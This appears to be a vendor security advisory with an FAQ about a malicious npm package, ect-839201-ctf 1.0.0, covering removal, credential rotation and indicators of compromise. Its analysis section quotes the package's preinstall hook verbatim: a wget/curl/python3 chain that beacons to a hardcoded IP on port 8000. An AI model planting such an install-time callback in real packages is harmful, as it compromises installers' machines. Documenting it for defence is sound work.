Which versions of ect-839201-ctf are malicious?

The following npm versions of ect-839201-ctf are flagged malicious: 1.0.0. Treat any of these as compromised.

How do I remediate ect-839201-ctf if I installed it?

Remove ect-839201-ctf from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound network activity or persistence. Use O3 Security's dependency scanner to confirm the package and its artifacts are fully purged across your stack.

Is ect-839201-ctf part of a known attack campaign?

Yes — ect-839201-ctf is associated with the IN-MAL-2026-006245 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

Can O3 Security detect ect-839201-ctf in my codebase?

Yes. O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, blocking ect-839201-ctf and packages like it before any post-install script runs.

Malicious package

ect-839201-ctfnpm

Malicious code in ect-839201-ctf (npm) Remove it immediately and rotate any exposed credentials.

MAL-2026-5721

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

npm uninstall ect-839201-ctf

What this malware does

On npm install, package.json's preinstall script executes wget http://10.107.121.85:8000/callback_wget || curl http://10.107.121.85:8000/callback_curl || python3 -c "import urllib.request; urllib.request.urlopen('http://10.107.121.85:8000/callback_py')". This unconditionally beacons to a hardcoded RFC1918 IP over plain HTTP with three different callback paths corresponding to the tool that succeeded — a recon primitive that confirms arbitrary code execution on the installer's machine and enumerates which outbound utilities are available. The package's own description is "Probe", and it ships no functional code. There is no legitimate package-functional purpose for the beacon; the install-time outbound request is the package's entire behavior.

Malicious versions

1 flagged

1.0.0

Indicators of compromise (SHA-256)

bda37f74ff0d1b56cb7805906d4fd32a7e2ccc15aa96768d9f9e510202712dcb

Frequently asked questions

No. ect-839201-ctf on npm has been identified as a malicious package (version 1.0.0 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-006245

References

npmjs.com

Credits

Amazon Inspector · finder

Scan your dependencies

O3 Security blocks malicious packages like this at install time and in CI.

Supply-chain protection